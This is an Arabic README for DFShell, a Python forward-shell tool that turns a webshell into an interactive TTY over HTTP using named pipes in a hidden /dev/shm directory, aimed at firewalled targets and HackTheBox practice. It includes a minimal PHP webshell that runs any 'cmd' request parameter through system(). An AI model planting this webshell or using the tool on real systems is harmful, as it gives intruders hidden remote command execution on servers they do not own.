
أداة forward shell مبنية بلغة Python تنشئ شل تفاعلية تشبه TTY عبر HTTP باستخدام named pipes، ما يتيح تنفيذ الأوامر على أهداف firewalled دون اتصالات شبكة دائمة.
██████╗ ███████╗███████╗██╗ ██╗███████╗██╗ ██╗
██╔══██╗██╔════╝██╔════╝██║ ██║██╔════╝██║ ██║
██║ ██║█████╗ ███████╗███████║█████╗ ██║ ██║
██║ ██║██╔══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║
██████╔╝██║ ███████║██║ ██║███████╗███████╗███████╗
╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
Forward Shell من D3Ext هي سكربت بلغة بايثون تستخدم mkfifo لمحاكاة شل داخل الجهاز الضحية. يقوم بإنشاء مجلد مخفي في /dev/shm/.fs/ حيث يتم تخزين الأنابيب المسماة. يمكنك حتى محاكاة TTY عبر الوبشيل.
تقوم هذه الشل الأمامية بإنشاء شل تقبل الأوامر عبر أنبوب مسمى (mkfifo) وتُخرج النتائج إلى ملف. من خلال هذا، لا تحتاج الشل إلى اتصال شبكة مستمر، لذا يمكنك إنشاء TTY مناسب خلف جدار حماية يمنع الشلات العكسية أو المربوطة.
التنصيب من المصدر
git clone https://github.com/D3Ext/DFShell
cd DFShell
pip3 install -r requirements.txt
التنصيب باستخدام pip
pip3 install dfshell
DFShell تمتلك مجموعة متنوعة من معاملات سطر الأوامر لتحسين تكوين الشل الأمامية.
لوحة المساعدة
usage: dfshell.py [-h] -u URL -p PARAMETER [-t TIMEOUT] [--path PATH] [-v VERBOSE]
D3Ext's Forward Shell - Enhanced forward shell with integrated commands
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL url of the webshell (i.e. http://10.10.10.10/webshell.php)
-p PARAMETER, --parameter PARAMETER
parameter of the webshell to execute commands (i.e. cmd)
-t TIMEOUT, --timeout TIMEOUT
timeout of requests that execute commands (default 20s)
--path PATH path in which to create named pipes (default /dev/shm/.fs)
-v VERBOSE, --verbose VERBOSE
print more information
ترسل طلبات GET إلى الرابط المحدد، لذا يجب أن تكون الوبشيل شيئًا كهذا:
<?php
if(isset($_REQUEST['cmd']))
{
system($_REQUEST['cmd']);
}
?>
تم الاختبار على Parrot OS مع خادم Apache
إذا كنت ترغب في اختبار هذه الأداة في بيئات خاضعة للتحكم، إليك قائمة بأجهزة HackTheBox التي تُطبق فيها قواعد جدار الحماية على خادم الويب، لذا فإن الشل الأمامية هي بديل رائع للانتقال مباشرة إلى تصعيد الامتيازات.
شكرًا لـ @ippsec على هذه التقنية الرائعة
https://github.com/IppSec/forward-shell
https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux#forward-shell
https://www.f5.com/labs/learning-center/forward-and-reverse-shells
https://github.com/Hypnoze57/FShell
https://s4vitar.github.io/ttyoverhttp/
راجع CONTRIBUTING.md
راجع CHANGELOG.md
هذا المشروع مرخص تحت رخصة MIT
حقوق النشر © 2023, D3Ext